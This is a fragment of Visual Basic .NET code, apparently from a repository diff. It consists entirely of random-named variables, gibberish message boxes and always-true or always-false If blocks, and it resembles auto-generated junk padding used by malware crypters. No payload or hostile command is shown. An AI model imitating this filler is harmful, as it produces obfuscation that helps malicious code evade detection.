Dim RNLrWXSXnIYjclNBYIblQKwLsd As String = "TbZtcvtReqPrAAbsxXpgPiaeOWZLfHBcQHpFRMGVnQLYplqezqdUhvYYRKhzxLTgjQUqcd"
|
||||
msgbox("chuYtljGCCXyYKwHBFhxkGoNuYKnRaMcgDgUHYlWVnosfCiGKQoIITFEExhsmNFbtjjYIiRydzCEnIdivKKnnZEGqCXFuzRivIWmrJOrBceojKywjGlTa")
|
||||
Dim LnZZVcRcihklesbNMZETjwgVoMNGFHELRMhLiYXciozsJDpflYtrtkQQ As Integer = 394821
|
||||
Dim YzdjNRlAIOHInjhlEyNkvTeTOVWRKamqnDkQP As Integer = 1723198 + 1012732 + 613602 + 214472
|
||||
Dim iikfLGCeeRnldUoQGBNwRanzmpefpGYjhdWKIDwpLhPhGqPXcODuQxMD As Integer = 302132
|
||||
Dim OjkHpcKjPzHGQDqmyvDvqZPhneYyVxgv As Integer = 703622 + 906756 + 507626 + 1137517
|
||||
msgbox("nfVwmeBnblRuMYdwJqTLRaCMQfwQQOGScnZImgokzTJruFwEqcQxWVtGhprMhplJeoyJbOjfsscXQoFGYxvCvHvXpaEWeIRRFKiOowZBINSBiZnogHUUdOVU")
|
||||
Dim CiPtrPiMdtpUnkWUMCPWaLzyQqNDYPWGufEizRBeLxbWwLjIUHMvKoVM As Integer = 411271
|
||||
Dim YtzgvuIiYafdGhJLRkJyHSHabdoBurHizlHCze As Integer = 1904153 + 1031541 + 632411 + 233281
|
||||
Dim jCkheIFSpfnqaUsSeblKBZNhqtwQwVwmcFbMemivZcyCLKoicxdRbHhP As Integer = 318583
|
||||
Dim itefgvvZZyFJsnLbzFLmDBPLkMfgjuELD As Integer = 884577 + 925565 + 526435 + 1156326
|
||||
msgbox("HYIMAXpzLkeHKdsBumrpfuprwlBSIDMHfWQnbgEmEnZMeXCtBOTotVKtCiVfJiYcJNDlyQCmXcWWusynQhioRhiJoZBuXQRvukPrwXhSzkvhHWRnnyxaAysSbq")
|
||||
Dim WCHyWinBlheYrGqBkOYxbGExSaiOWTvGKQjSNOgLniKkxXtlCvbvMKLX As Integer = 427722
|
||||
Dim BKdmiCBkHoezdwMBmqdSEELQfWhxRiyEpwQnxPH As Integer = 2085108 + 1050350 + 651220 + 252090
|
||||
Dim IsXyMxUkgNReDqIojhxvGEmgCViPrqPFdYHOFxedltqFhoQQHMSMfRoC As Integer = 335033
|
||||
Dim fvryecYrwvTMgUfrPSCkJTDkTgLuHYUUoW As Integer = 1065532 + 944374 + 545244 + 1175135
|
||||
msgbox("EmcXieewjMgzOWSFNmshrkPfTGCXkltYTqZESePiwLVTrixZfPanOFwILyTsSPbQXmGusVnVQEpNHupThBtyivdydcqJUxKTGJZmXMYgeapbZOVKHezJNPmWLYTUFsU")
|
||||
Dim IVVOgZCyxcCqDUKblOHKTZOoDUrbqdTuQRgPRxBahWfxsOtzdzUiFwH As Integer = 444172
|
||||
Dim LpQIwWWCohlfBNEKbMulOKgsGGmOtKrNWKcYobS As Integer = 2266062 + 1069158 + 670029 + 270899
|
||||
Dim HamDKAemvvCLGcdbsgkPMfdYbcfIXEUpnlbFSTrEyDWemFXSNRmrBmf As Integer = 351484
|
||||
Dim xaSHyNroBdpTCRLQyiLZGOQkMuqOTFgzSPA As Integer = 1246487 + 963182 + 564052 + 1193943
|
||||
msgbox("BFeZZJMEGLaYrtZAxWRGyncEXVcYPbeJuWNLDYpvMaTVNzVxqBYbKkGsffSeTmAnkbdZbLIwkUsbPqFRRchtgLRzvgdGOemhozmRILHuRWdngHyPBJTommndohPZnqoWA")
|
||||
Dim mnmfnYbiisOvbchpMhtsHzzNpiRUFnIohViHKBHuhtYlxkpZhwaTKqUO As Integer = 460623
|
||||
Dim yFNBOMjuyQXjaHrPoQdWUcwbxevYdjEneRRnhIBS As Integer = 2447017 + 1087967 + 688837 + 289707
|
||||
Dim GIbvbqQfaxmynXtEGYhZBimUwPuzRtLHioCNmVnYPVDyqGWifVpEGlZa As Integer = 367934
|
||||
Dim VLVsgbyEcGLYNincJkdlJTjFxbMmYtcugin As Integer = 1427442 + 981991 + 582861 + 1212752
|
||||
msgbox("fRBDXrdaOQgGMOUyaPExikXQRlgQBrCJSNmSTvusMScEGLjlPmWxbcesqsXMHjkXmZsiTxeRDGgrwimYTbxkUjGZPOjHethIEHuXNfjsBlUnXNdFBrIfnDGCFtXGCuKgUVEqb")
|
||||
Dim vZfhdDSBfdOPEfBgXgtitvafssPfyY As Integer = 407866 + 876015 + 476885 + 1106776
|
||||
msgbox("IrPjfQfjFhdSmBowfpbfAgLOzuxkHZWobiIICQlDuXbPSojkpoDhvrpsQorbMWsicmXcCsYnzghCqOdrHXkiIPvExynVShkNAZzIRhWVDJogyJylolp")
|
||||
Dim rixnaIIIOCDEBeVWBkyPEoGqtksQWCzlFhdHdRgsEDSNqzoinzeCTzT As Integer = 384384
|
||||
Dim WqTbmcWrlJCenUrVELDjhmNJGgrzQRCikNKcM As Integer = 1608397 + 1000800 + 601670 + 1231561
|
||||
Dim wfwouDjOVlTegvWnVulWwyrKYGZNZiLOCRSeOeMZLxgzzBWhBQliidoT As Integer = 291696
|
||||
Dim BkEkqzdavTimpOgDbNWpKuoEVJSPIxJ As Integer = 588821 + 894823 + 495694 + 1125585
|
||||
msgbox("tcsSOJksuQhMRUWDeoAPJKQzjRRtQlbbBwNbetpBFdLZlvtmctuLtvXgcktDPXrnqUqlOACzCVGIYZJbGbBELIpJENbEOUUyZSpGJBxYzTjFqvTWqGOOuW")
|
||||
Dim zwEkpCRRxiaCXfivCUoSfPiLhaLJKpqUuFCSKmjGIYtdDLcIggJpONnv As Integer = 400835
|
||||
Dim cUHxYZWcenDerIkYFsVNOwWchaFgQsDuNCmXK As Integer = 1789352 + 1019608 + 620479 + 221349
|
||||
Dim lEIUYREqtQtdZFnOXKurKxqvmQGynwaRSStfpeqNgoQizTnKLBvcLDv As Integer = 308146
|
||||
GJWSqHoufpwUdqVYtXFxJbBwLmkMcHZDmxTqdZsOmdIBgroARnBcHVGRvwPw:
|
||||
Dim wGESCgQjIJLXgoihmgrNrmaXml As String = "rPNkCyaWhBEmykRRRUHWjdLldskeTYxjltliJ"
|
||||
msgbox("angUXoNjOhxvtIkKpPojWaLTYFTOsztgfficJHbrzzfEEVSwQclnXfVToOhLtXfbMdSHDReHLproXuRHCIfYyBQcPeRgwUDPegsyYfoMrRZjESlTRAAuqqDbniprgxcEgtNmbwzymmclhxWiHfHm")
|
||||
If 9049935 > 745264 Then
|
||||
Dim eqVGKKkIfnwvNWXIPzsxQEQYLO As String = "xUJgMRLJpLGFZBMSLgRlXIKtzsclwtKwBdUrHwXY"
|
||||
Dim tUTsgVjKFlwLuyWIFbYFNQeehD As String = "sdUuYydbaUyUpEaMNDfAyzywYAcYRMkrBDjdxFSYqEDkIGyLMPTSDWZnmyVbBWNgM"
|
||||
Dim MtuSvDyPgYXDwxzkYLpjiaZIqb As String = "rSWOlyJdceHTMScUqBdQKfubTzPvhDiGLyMrGdyXGLOALrQE"
|
||||
End If
|
||||
msgbox("WhAdmtzsbwziBBFMlqQNyQKYrWCjNRBuYXmreWAhdcspNLpRtvQPgFlWbmBIikRnWmPtTYuFsjWETCsespJDRvSMsTLKdooZFIleSFJhIznUhiqUWIvXVwiSfAjnNkuYOTAuqbTiOGshRKKIThcUGPHGcPVjBiJGkBMjDtBdzmmmnrcOYuFolJRYvYvJoLqJoVuTQinE")
|
||||
If 1970307 > 1038417 Then
|
||||
Dim yyXzLrLtHdkdvAbxXdYcnlKDJd As String = "qhNTiaomAaywVcVMwzQBIfjYaqfOhEnThYNbYTgRXRGuurVxJB"
|
||||
Dim lpfHsFpTsJhqsSmuiHFyJbNoTd As String = "qcODoaEmbFCvHJVQkYpjOvHoxQyZPzVyEmU"
|
||||
Dim ytIyYSzxZtCLkTQPuhQRBrLMfX As String = "garVfKIXlZkvXKyxtZkRRgBTTMJNAiKdGcJyIrUSGpCypaABFXvWtUYprdFml"
|
||||
End If
|
||||
Dim lDclnfDsWfOyJPjbYoSRihrytyJNUbUIFKHuPlaIhgOnZVJXTDiCoikg As Integer = 875510
|
||||
Dim lfOBUedgVWlVbrUzQNCcWlVUSu As String = "EyVlnBUadNzDxHcFIyyPQUHhsNTqFiHsHOJJD"
|
||||
msgbox("fTcCFMGCKAvimWmJYhNXVpBgiAqLMWKQVkSKAbKwNhhegsMQFcxBhMPBpaeGnFgsaUTxPwKMRWGamrStnkKMKwEFIcxdxxlcQKNTtlQYsJAYgMSqtgGBGdUJwbdmOjyMwiYhJkJKixZPbCRkrvkyHtVLX")
|
||||
If 9230890 > 764072 Then
|
||||
Dim eQuIDNISrJsHBDDGbdzaKOnkWb As String = "dMEDEoRVdtubLMHwnfSiistbCDejADARbTioNSfi"
|
||||
Dim ZGGnjSLUJtrMuPOFxWFKMCDzzl As String = "PEkGaCPFSNZMKRrmGXsOnyeUipuaeWtzxarXqSILijwsBpDNjggnqZTjsPaxMlkI"
|
||||
Dim PJjWUBzEriUNYkriRybKIXaPxI As String = "ieSqkKXsxqwrAqeLGtXgBCaDMGRZWTScMOgDrYEWrUmRdAmCi"
|
||||
End If
|
||||
msgbox("CYmpjqMBEZpjOlxEpLXkrmMfleUMhdeabFewSjDLaTnCbtkEEcuIHqDuUtoXAZmXfJVRUiqvgTfyUYVYXwUibvHmlVgYKLiPLxTeLbGHToayNPlOoiGoUoFGfZGqfcBEMkhJMEixhsgecFPcyALzIKgGyUVDgOYrelTisEETRuFRhjoQxOssLyTlmThkjJjfIPkcYRCWTIGn")
|
||||
If 2151262 > 1057226 Then
|
||||
Dim KwWnZhsDEZeSGzgsxpdIqmijg As String = "yfdtOTcNTWYXJMnnzqEkcIVBBjLncGDqmiSfjGPBAkLhPhDInZKG"
|
||||
Dim OCUDuDyjRJgnveuwGDQNgacLw As String = "qWkzWDbUrRbRaHxqyKlxaukvKYQKzRUNKnJG"
|
||||
Dim WyDBJXdzJDJuQUQZuptmffEhW As String = "uzUPeZWodXFUMLhUdZTyrvaakKQKSKetKUHBXgqNNyekyEwxcZaIYUzNhfPim"
|
||||
End If
|
||||
Dim HUEPnMexkGKdisRZFNMdiTlyMh As String = "HyzqQmxSlmenpuLteYCypcwOUeaiLUZnyIPJUyqBoQdidGulVnlURaKvHMvTJIJiPGfput"
|
||||
End Function
|
||||
|
||||
|
||||
|
||||
Public Function RNKrZCPZDzhIBPWweSOZtszzqCetPTeLaNZBiLeEpKupxDbYedFjIPhFGFXQwfWGaDgxvXdImTAUbmsOuqdjSkPYQComgIeGRhaatEQwOFlgtgZYUBkJjxgSVJ(ByVal KozJEJyAbMtShlLI As String) As String
|
||||
On Error GoTo ExZHJOrQVkYtBlnOFvMwFPLqGTpCSpPcBbEYilbTRjxWWqXWVSnErHZmeD
|
||||
Dim zRrOFWWOHYEEZQHVUQSWcTpdDQoUZYJtRXwmfPoPllSQlnRNdfCjpeLA As Integer = 395617
|
||||
Dim RyflODrpybDVZHtTjcCtUJInLOOXVNykvNhut As Integer = 1731951 + 1013642 + 614512 + 215382
|
||||
Dim mRfLDjmZYHjFkXwzOIkHeJGoOempwlObvclgbJbQXnGrOYlFZwPneluN As Integer = 302928
|
||||
Dim XoOAxxwhZMfUOFevdpCNibEjxHxASyfz As Integer = 712376 + 470009 + 1099900 + 700770
|
||||
Dim dVVLHMeDkaOpWvZJYTXSDbXLBLxOWasffmFHPAcLFnzM As Integer = 3162083 + 1162292 + 763162 + 364032
|
||||
Dim zKzZnRWvgmZIwtFUCMGOrspDTvosDrKOtSGQnDFNcEHIvxrTgykUCast As Integer = 432940
|
||||
Dim MWDkgFqSGTweFlMsvmPfCPntExCIKruPIJVTHq As Integer = 2142508 + 1056316 + 657186 + 258056
|
||||
Dim EMyrBNhALqljqeGhiyVodlDHarCdZbXKLfhgUEVuByeHHQnJdgPaJSeW As Integer = 340251
|
||||
Dim jWOGQjLTbXveThYrBpzafdVOUIuPLNLlAB As Integer = 1122932 + 950340 + 551210 + 1181101
|
||||
msgbox("XkrpAWouMcQugSDNwZnDxSmkfwdlQqDycXZBghxsrQJdngWmpBjiGBIEdowBHFyxZvOJncRYkeuywxrQfCWCGVlOTRSYrzTkWgdADIqByrstrTKOYETBibScIILpFYJY")
|
||||
Dim RKXwjCeogzfRXOjcfhSYPaKtWMuRkoYPCVreLvbJlqnByBfRffhCKwgY As Integer = 449390
|
||||
Dim WWCDOxcesGZfenNWviRMgTnZgWskhaRTeGZIlUmT As Integer = 2323463 + 1075125 + 675995 + 276865
|
||||
Dim DYjHIruuErqgchwoskGZGwbIldfKyvZCHbcWegKvMlzdRYyHOtMJyhlg As Integer = 356702
|
||||
Dim MGtrwjaPpcnMLuKmYIafkPBgEzfFQZheRTZ As Integer = 1303887 + 969149 + 570019 + 1199910
|
||||
msgbox("GuqTxqMwFIsFhkIsllknjwuuXYxuCFEaTrxEWdRcbIGZtpdgYOeTFAgmnvacIimjcOqvqsCeudYxIwCVXTGLvHWsNetVCInOOOGOMnstUnmjiAyRBNgbIvkTdEKynoaLsOA")
|
||||
Dim dVmnctRMhPJinzEIqSnKqREiRSgWCSVBmFudTqQxXvGVnKoDJGpyrRyQ As Integer = 465841
|
||||
Dim AWMNsVEjEXBvYRdGmTgUmLyBHQxacpmoNaRjAhu As Integer = 2504418 + 1093934 + 694804 + 295674
|
||||
Dim sUyPxQoVPYwVQiomyGbTfnLoJpzFgeefVjKTcISQhLPSSAVoyjDETkfu As Integer = 373152
|
||||
Dim niqWTWyxEgRFPiXQNPOBrndQqYnEeFPYtNw As Integer = 1484842 + 987957 + 588827 + 1218718
|
||||
msgbox("gBIJdDnWuDHbMWCyedWpXHLzVuWRkQZTMzpkrtdXdvwFeCKazNbDFxhPqjAjVyHbXZGRxTaQwyREkboXFULPSaZsrpjVCpwGnRhQSMDtbbzvHjqrTKqXGadWfwtEQFfKGcHSgV")
|
||||
Dim srxPXsmjHSlgCtqcpLKQyZLMiNbcMNi As Integer = 465267 + 881981 + 482851 + 1112742
|
||||
msgbox("QuqfKUGUvNnHBHlfsTIIlNHWWqoytdXOEodFVlLvwYRnJjGImDSWMvFiadCOcCWLuHLcCYFXtiibdDZRftWfmpAEvkJMmiMaxNiOESXdWsZCWmUxMG")
|
||||
ExZHJOrQVkYtBlnOFvMwFPLqGTpCSpPcBbEYilbTRjxWWqXWVSnErHZmeD:
|
||||
Dim pbtaFVKxmsBFdtntdCsxgSnzaB As String = "lGxNCzUDyMVFsrEwIpmcjSzQJmZLZBKZkakXmysaEbmfqXljvarehRcEXIbNzkoBLZHBHKsh"
|
||||
msgbox("QrRRivvRqUxIqLPqBQFWSCCaeEtUDbIwcIQWQGsxkevecABRLSGzmipPFzrYRysiDvxYdZCghBZTPblnOVpcFkyDdZPOehYHHnHeThHGTxXgoOJffppYHzxEUMbb")
|
||||
If 7725850 > 607636 Then
|
||||
Dim kxsIRBxGyiepVTqXoWNUOKZRre As String = "TLMLysQUhZgxoEJYqPsxMnVehqoHGHgPyBzSZcWOLLMpMovttSzbdjCeAmvCcdPYpUVldrEsygB"
|
||||
Dim pOWfqwfvjKUEqLTNPynaZndhdO As String = "fLyggjgtdCDGNwuYziIbYYMzKGvSNqhzFPNQzOgWLFtpzciOLDnVtErwTn"
|
||||
Dim daYMHIibmjSZUbrJDYQEXQDO As String = "aHKuHkWikjxJNrGpGTPLXwRNFvrnsENqmVdMkGtKYDa"
|
||||
End If
|
||||
msgbox("dyEnxJoATiVJwvDOmXlilTjohFOxbUogLekhHIHyWbbfPwhgaqkgPPsUVzzmWvZkUrgsbptCXqjKVxXaueiqVtTMlcwEwxuyNNMKpDuZeBOmwBVLBQCBmFGfkQanhctkyVzYeAFfylkaHVCEaMBvCBobpGcMlTJjpMVcjVinUTopTSNM")
|
||||
If 646222 > 900790 Then
|
||||
Dim usZmVSHemCIVrNYBizmxzIJHGn As String = "eQsXqIuqTjBfmlquHuTJlEJpBAJliFGeQjDwtRPoxfTPbn"
|
||||
Dim JGabJdCjppVkilZOpzqDNRrHuB As String = "ezmONixLtkRqHFkKrgkwmxwplYHFMxoDtlneMwUJKHpHHJPlLMQiCzZymMFRTXNhMkTCBf"
|
||||
Dim VSMufRptyjiscfKbuliyQUyKRW As String = "bWLfgmqXWcBNwYMvSSMHMMOKgYcjhPlbMVxVKBvPUBOPTXPlAGkTglt"
|
||||
End If
|
||||
Dim iHdFkGUbztdshOeXGMjWhXuWuKYgyZSvccCeXPlzKVacFREATmZDeIM As Integer = 755139
|
||||
Dim ADOabnuMHPLYJOJECwvHRunkk As String = "FrxWXIJTwDlQmxfGTggMlonPXFbcUFGmRBYnZEuyhdsHMlvfHWlZlLGUCSaGZVarTuuSDNhm"
|
||||
msgbox("urcbMUXVClZYjogUMVHqGUazpRhwdgPlPRffUHLERUbIOWEfsHtlPgGHoOMvxSgrsnMdCNrtFTnaPjXtBOgmaoYPoXRUrdWCHBENRQuyEhUSXLuSJCbUclcYJezQRGWB")
|
||||
If 7906805 > 626445 Then
|
||||
Dim atrnjOHXwjgKSlubWkeiWdZoCJ As String = "EkiDxKIyVewDCLlrlaImQuoAdLmYMRTtVua"
|
||||
Dim mteaRCajInCRkugxDVVtlOcWVe As String = "pSqJLZWbxLkalvtfmkZZGLJvYbUBEBCtVmGPWymmXLaLwNDfqixIxMfNkFq"
|
||||
Dim hBwNbhbRzXlLIkyfqdKrnKGlNR As String = "ucMFutbjGdiBEuOciBcCZvGvXhQYfvejJpLyxrQTqHxA"
|
||||
End If
|
||||
msgbox("IPLxwSNYpskbiWmWJWSXqkeBRjQCrmimzzGDGYQoTqLaFAiQbaGPeaogFhglKhIirdFyrCRYyuMfQwKowCSFlahVghARyatFFXBQgdpyFHRsIEXuGLOzSMNHrCPxzKNEnkiQuChffWGYRRNkuLMIkeEyVMvoolCjSOgYowJbiSzHzGibwT")
|
||||
If 827177 > 919599 Then
|
||||
Dim QzCoVkHFqXNyqwcyVngTcbvxmU As String = "dbTgoxHYxdKpmHtvNLzeOMvHvkhrUnQeGvwlFGMNSyAKwNY"
|
||||
Dim ooNKGLnPJMUkVbmFzjykjUkEBH As String = "zIXbJbpUAtTFvPxDLFkdhVPazGGXGzxvHCnpqMnMRQpeNyrhiLvMjCExFRrHVwhLzFoHYGWK"
|
||||
Dim uJhndfNWQTJMQNHuEAsxWdkKhR As String = "oiNuMLDQkrYjHInJnIXSplITYgojSrqnpsFLkWgIgeinwmNSLntpwoh"
|
||||
End If
|
||||
End Function
|
||||
|
||||
|
||||
|
||||
Public Function JjajIssJKVXxbjDJyRXGzzgTHBQOmepgjCqhhYyIUZHDdVPEVZYeBbEwkjVrdeTFaicfQkVVzhuQalFaenVbvngZbldYWlpQXMlZZmjSoakdfmBrMpQrwupWWrpE(ByVal VKTXgQSskgGkwnS As String) As String
|
||||
On Error GoTo PIlSdmJhmILowNOxiYmbOnbQikrSylErxnQSJEcNpRjaUtWYERhLycnylYfn
|
||||
Dim ypUpjdSIyotYjEwfgQGbecRXWZ As String = "muNuLOsHmGQyqZpBPQpvKFCalygdUjWaoOnaDhJvKdlhErOJIoIdExEoqBNLsFohmCPMtPtqYm"
|
||||
msgbox("DikdpXalhGHKWYLtzRPreKzJhFLtkprIeFXDtbaDgOfKPLCPWmZtmLyskzEefEXjByfETZlumRgJHaCPvMIOJzSczsLwNDpnNtKUMfLtPzZydoiOdXwkpYsJoZQiBvoMcrtiW")
|
||||
Dim ZsmoderwClBmfLRorLFKovjnaskVp As Integer = 407866 + 876015 + 476885 + 1106776
|
||||
msgbox("ExkOOZuaTzLOFFQyLQNnTaxGJjwpZAPtEErMTWcIcMTNvXBcVzTudOkhSycZoBhiNxBMcQgsoXpfrhZGtJNyIBpSKaixBUKEoEkDZIzuOKxGdjfylTQn")
|
||||
Dim LKoEAsyTvIMPJXUzrjTOeqGowRBBiEOvPVmYKVvjccLtqXcVDwXYtix As Integer = 384384
|
||||
Dim NmzlBqolRMjfyjfWGfucBUPRsfuIqgRdgXWlB As Integer = 1608397 + 1000800 + 601670 + 1231561
|
||||
Dim RXTjnDLXsnPxVFblwSisICkjKlefpvLSxZcNkHJwMEwJLItGTDZfMrI As Integer = 291696
|
||||
Dim fELrqaBVSaWKPtvKEXnMbnKJQrvVfOx As Integer = 588821 + 894823 + 495694 + 1125585
|
||||
msgbox("IGtwJyxEqwhfuKgWNjdjYUliVIrKUjONTcWkbtTXxujlmwilJgkRRVvRnGzfdDWqgFsHHMhXUKudmXaquVfyXsFLihmcUlCNWKvvCyDOhOEnvkXuxWBNufe")
|
||||
Dim KaPaFwBeKoQbVTCFfKYHkgZfCcCGGhBhUeLVXhcHVdgbbfduIquJontF As Integer = 400835
|
||||
Dim wxyPyKLnLtMqzBkBvrqMoyXalGORcvSFXruor As Integer = 1789352 + 1019608 + 620479 + 221349
|
||||
Dim xaDXCJSpaXubgZrjaDrslWqqNqbcuHQyiBPUbOIGfUBEPxmEHHMdtdS As Integer = 308146
|
||||
Dim CmiehERfmdopnzUdpDqgCPTWXzyvagzU As Integer = 769776 + 913632 + 514502 + 1144393
|
||||
msgbox("GdzsfMswiYNivgKtWvGCQNNQmaJmFnjpboJYDHpqjcBywrNSutfFZyBzgUYkgNYKtctagXtfNzOjdoyaXIqMrbYPmqsgkYaCXVYFlVKwZkvWOjEptIIIFeifI")
|
||||
Dim OfhGogHMznmdmYvTgFWpdwPclbcthQnohWSXXmZEMDTAdvdcuTEYxEi As Integer = 417285
|
||||
Dim SrLOTbFBLugrtyZNwGVduprHvkaMeCfsJGzByL As Integer = 1970307 + 1038417 + 639287 + 240157
|
||||
Dim aFivcupIEpqHMNyYPMtZNZqjlFISvMXAFKmnPbKNPHjFLPmhqOqdmgi As Integer = 324597
|
||||
Dim mYJSDiPJQvtjULYaRTQLdvTSYVVtPCbnG As Integer = 950731 + 932441 + 533311 + 1163202
|
||||
msgbox("uFcuBbynMhgHRrsNmicsOUZpRmHDHsdoPhfjlMVkgrBwtdaifyvsxQxoNXfrPtBpustFpFgbgXUIRsoTmmJTQUIoStKYJwfosOnwtIcbSCEfRlgkOYoKBjBEpbRkY")
|
||||
Dim NuXMmImUXidGvioLmCJabwDasStLhQEVoEdushuJPZGZkhljVxoqPcXn As Integer = 433736
|
||||
Dim CvDQbUXdRROrXWrFklVfqmdlFReRQeTieYzOb As Integer = 2151262 + 1057226 + 658096 + 258966
|
||||
Dim EAuoMThNqmXWrXPGOqUbHInYeQzrWKXXpjaBGqGXQGlONRMbXLWiBkbv As Integer = 341047
|
||||
Dim zVJGRYwUNrmYfLdVqfWrgKvxxYdqJhstcM As Integer = 1131686 + 951250 + 552120 + 1182011
|
||||
msgbox("BsGmfxapALcVKqcLdfpvSuFjPgawXhQNVLWeiAnkJBEuYzuZzJKLGzTMpGqetkoxVaVBQaVKdicUZpmKOEIPwSqHOAFmNxuuetgbcorRBoqmvAgxgCLUzOwQLlLmVGbc")
|
||||
Dim VmZlecOzHvVOYlvFMxpzIfrLoFckhrdLkCuxsSrNdXKiQjMctfuYjjW As Integer = 450186
|
||||
Dim TllReggzidcJefKNfJBUXynCJBGeuCsSzwAnYiWp As Integer = 2332217 + 1076035 + 676905 + 277775
|
||||
Dim SKVilvFTaDSpCNjUpgXiABzZb As String = "PhKixYabMKofmtXqhoJaAZqbWGcfmuTyMosSuhWaGylKcWZocbEiFZdQHcGiOvxlkGJ"
|
||||
msgbox("kUWFHdlFrkpjyvirYucCfVTZkDqOKFQGtndCUgDdBTDymmmvTkYLNudztVIxxiRxigYtKNwidNxjXpOhkDfZvWliJbuHFzIcTxNgSgdynMaHeFGpP")
|
||||
Dim VNKTYRcrrJRpVbWTPQDmdeGEMkkuVezXpaOgRuTuLZEcElINVVLuQfMU As Integer = 378370
|
||||
Dim MFZmbcUgStQWawoTuUrJtVCsDbzgMlgSavNt As Integer = 1542243 + 993924 + 594794 + 1224685
|
||||
msgbox("OhVikBiBeiBUTvnFsvkfZppOyJcbsoFEoXLiZPqgeNYNFkWxiThsgkLilHFmjwrTVCrXFVlLsOwSVCjRGFAzRGPTnXpnRrcBLUcMCnIYWgjrpSOuPGKHZpDHBvmSvzjMRhHsmw")
|
||||
Dim PiDJarMFkyeFTBxDjsaTBPCcVidSF As Integer = 522667 + 887947 + 488817 + 1118709
|
||||
msgbox("UvAIBWWPieBcAcSFrzCAgToPZwvjKTIewMiEgnabgyYHfyCygblIhvXTBBaVeeTPdtHXGWuCzMfpNxDxidGSrHRCBBftzBKZEEGclGbFwbVRzJqMNqx")
|
||||
Dim PHRMFAHwzigXmljkxaPRvMZokmjTfJIsoJrFJNjQwyzZVrlcrABMCra As Integer = 394821
|
||||
Dim LWJScGRZjORUbSeVQhDMRQCdrnICEJicrUucw As Integer = 1723198 + 1012732 + 613602 + 214472
|
||||
Dim VxBbovMoaSIXakUMsmOlKeVkWfTxdupHrleFIYaJkgqCsJXeOHHDTUAl As Integer = 302132
|
||||
Dim kBozviKyVAqSsIKvKOjPtJcJEMencSrY As Integer = 703622 + 906756 + 507626 + 1137517
|
||||
msgbox("eBrTgPJKmLkzfKPqbdBSyOGlLmRVSCedYMjbDDXgrsEFdcjXPMGvvkDMjTTkSTfVLCwlmYFFCVvFEXghiUxYBuzCYQiVSvOdONMxanRHnjsBDKPvrIFKFCly")
|
||||
PIlSdmJhmILowNOxiYmbOnbQikrSylErxnQSJEcNpRjaUtWYERhLycnylYfn:
|
||||
Dim jMNPPjOTvdiayJlnKttwxDBXmv As String = "PdZZTdDSNlcPXLxiCluqwQgRWrKUHTwTwBEoTwrSPZbabxzwEEUYWQFREuxUYWftvkSNBeAWSY"
|
||||
msgbox("PUUTifEIVvjnmvBvyRYirmjyLqvOjgLQmDPNpcIxDxYctuqSJBUsRxsDDxcGoUoFDAcEaoUbeicnCCRuUzptgCeoOKFYiBxPVJVRNFccwJbooRIhFxsMYgouYtXtyadqYJ")
|
||||
If 7964205 > 632411 Then
|
||||
Dim StPdsbEHYvZZzyogwYfRWMhYdY As String = "tdSqaGUiRrxNCZxfMdCcsbwtIxuctyhIir"
|
||||
Dim pdBTPElouClQtZbrrWeNwOntS As String = "AfxRtTxhJvDKAIWJGrbiglzPungOgtgbReHJwMBPiNqlGkDWtJqsqtSiQrOj"
|
||||
Dim dAJrQqAzMJoTUzjuWVDExkukGU As String = "FSgNpoMsrZPOyFfIJLTlFtPYatpkurrGRcrwkaFsxqK"
|
||||
End If
|
||||
msgbox("npXCsSAlAdffjxawuykmSFGXiCthuLDJNWcZOtIKrNAxwPMWMXrmMqozZTYDCWQpSPiKHOvDorysnFplXbSqFslyJQaTqDapeybqaXeXTlPyLQYxDiBiyHKdQNpLLCxQYuyBUQXcIQmxRpaPgLiutdavTfFNPOvbeWmYrnoYhBEXHZLuifBJs")
|
||||
If 884577 > 925565 Then
|
||||
Dim ItSCpXbIqZNZVQPKCOZQWuDCH As String = "SDenEnIPkRVuTSbRrilhaDVDvFphOHdrWmxdyHvShJrpzQE"
|
||||
Dim ugypRlpOOpxrpDvuYugDrZDTN As String = "oFfwRfJjNMNgycJjgZAVzxMKcoRVjNdCChGSSKUANKdLfUZSvfgizleOxhaaVvUwIKTkDB"
|
||||
Dim SJdDyntPJmQuhlaNCJLzUnxoYf As String = "pcDLurtByUCSouDyIABYJcrFTBgSBByZKqtgPYbBOHxirYPyCXdnLg"
|
||||
End If
|
||||
Dim UInjZMhvXkeVHInbJKWKMCGotSrzVWlNJgqIzvNOkrWFUgmTSgMdlsvm As Integer = 776807
|
||||
Dim ZkPomHjiFBLmFmOJHoyBLzPZkD As String = "ZDLibhiGJroujCKlJxmmdoVUnzmmwBMqOTHUtybtlmZdQTiCFaByaxuxBSKocxztIlKshhLoRR"
|
||||
msgbox("oWosUtsfYvNFEFqMcQdHcScETHideqmoSJBlREChtsmoCmQDFCRfCsKNXpKGgMLKEyzMLEPiPGeshWsoEsgdhfSkbTzIQooATySHhZENZZhLBCqWWseomFYZqfFXYIDpyPxcn")
|
||||
If 8145160 > 651220 Then
|
||||
Dim RQweaqeUDUWXQgyUGcUgFrFFLK As String = "vxpNBmKweZvOYUqtyQwBKoQwhKKEvWfsxctW"
|
||||
Dim vHoupmevcOmQAGpkVSylyIURmL As String = "QAzhsraXgJjVabhXzreXoYzdiSEWtdDpImlaFubempkfPZmUUzFvOTJRVzWZ"
|
||||
Dim yPuUFjcHrnkkWcvjCVfDmspFxc As String = "SPVuupuybhWQnQWUeMkoRkMhcwMqnQEWhpdbFTLjZsIw"
|
||||
End If
|
||||
msgbox("tBKvqNvedxJthEwcDjoTroYehUnalvSgyfIkUbuNndkPUmSLTpQCyFWsKfgcnMrkKbWrNPgsYuPpKVvigQwmMMKUFpsOXzzCvbkGLJOyGYntojoGTItWspwaEsqCHsUnwkrxeWcToeJZiXGHasQeNbsiPsrBYrgmTNGGrKYrljuKugwnbFkGfl")
|
||||
If 1065532 > 944374 Then
|
||||
Dim oVGREUjUxtRZsuJPXHftbpPDPo As String = "dlyDUFdRjBfAcBBddIQyvlEciOKGUxsWywCmiLQmYijkhMsq"
|
||||
Dim DpGWmfOYZAZoxlJYqhKSkhZofc As String = "ZZBXFjnnywhSgnEgSQPYfVoxdXGuIppETXGNZTnYvQfKIXhrIwFDyPuWyNQQErCBYXQLKcRa"
|
||||
Dim RUOTERFIBmVsToQUMvxlyxVojS As String = "eGdrLdaZFiKkskfJcVRgYCZTxjeSarvOMNyJYDRgAbfVDWIOknZqejL"
|
||||
End If
|
||||
Dim ZPoGYKrrqrDzHnuCetgwzsNWXrdFvJUJMoOvONLVqsXNxjaejlAavOq As Integer = 793258
|
||||
End Function
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,3 @@
|
||||
Module rp
|
||||
|
||||
